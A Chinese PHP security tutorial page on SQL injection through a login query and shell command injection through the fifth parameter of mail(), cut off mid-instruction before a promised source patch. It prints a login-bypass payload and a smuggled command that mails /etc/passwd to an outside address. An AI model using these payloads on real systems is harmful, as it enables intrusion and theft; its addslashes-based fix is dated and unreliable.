您现在的位置:计算机技术学习网 > 技术中心 > WEB编程 > PHP >

PHP网站开发过程中注意这些安全知识

来源:互联网 责任编辑:栏目编辑 发表时间:2013-07-01 16:23 点击:

1、古老的欺骗SQL语句

在默认模式下,即使是你忘了把php.ini拷到/usr/local/lib/php.ini下,php还是打开magic_quotes_gpc=on。

这样所有从GET/POST/Cookie来的变量的单引号(')、双引号(")、反斜杠backslash(\)以及空字元NUL

(the null byte)都会被加上反斜杠,以使数据库能够正确查询。

但是在php-4-RC2的时候引入了一个配置文件php.ini-optimized,这个优化的php.ini却是

magic_quotes_gpc=off的。某些网管看到optimized字样也许就会把php.ini-optimized拷到

/usr/local/lib/php.ini,这时就比较危险。象比较简单的验证,假设没有过滤必要的字符:

select * from login where user='$HTTP_POST_VARS[user]' and pass='$HTTP_POST_VARS[pass]'

我们就可以在用户框和密码框输入1‘ or 1='1通过验证了。这是非常古董的方法了,这个语句会

替换成这样:

select * from login where user='1' or 1='1' and pass='1' or 1='1'

因为or 1='1'成立,所以通过了。

解决的办法最好就是过滤所有不必要的字符,还有就是推荐对于从GET/POST/Cookie来的并且用在SQL

中的变量加一个自定义的函数:

function gpc2sql($str) {

if(get_magic_quotes_gpc()==1)

return $str;

else

return addslashes($str);

}

主要是为了你的程序能安全移植在各种系统里。

2、mail函数的第五个参数

在php-4.0.5的时候,mail函数引入了第五个参数,用来设置在实际发送邮件的时候增加额外的命令行参数,但是没有很好的检查特殊SHELL命令字符,所以出现执行命令的大问题。就像手册里的例子:

mail("nobody@aol.com", "the subject", $message, "From: webmaster@$SERVER_NAME", "-fwebmaster@$SERVERNAM");

这个是存在问题的,如果$SERVER_NAME=;mail webjx@webjx.com < /etc/passwd就能把机器的密码发送到我的信箱了。

这里提醒一下,php手册里还有好几个例子存在安全问题的,大家实际使用的时候不要照搬,它只是演示函数的基本功能,理解了就可以了。

对于mail函数的这个问题,最简单的我们就不用这个第五个参数,要使用就过滤非法的字符如(;),还有就是修改php源码包的程序ext/standard/mail.c,在if (extra_cmd != NULL) { 前增加如下一行:

发表评论
请自觉遵守互联网相关的政策法规,严禁发布色情、暴力、反动的言论。
用户名: 验证码:点击我更换图片
最新评论 更多>>

推荐热点

  • PHP测试
  • 十天学会php之第六天
  • 几种显示数据的方法的比较
  • 使用xmlhttp为网站增加域名查询功能
  • PHP+MYSQL+Javascript数据库查询结果的动态显示
  • 查找数组中指定键名的值
  • 用redis实现跨服务器session
  • 用新浪微博接口发送图片微博失败的原因
  • smarty局部缓存技术[源码分析]
网站首页 - 友情链接 - 网站地图 - TAG标签 - RSS订阅 - 内容搜索
Copyright © 2008-2015 计算机技术学习交流网. 版权所有

豫ICP备11007008号-1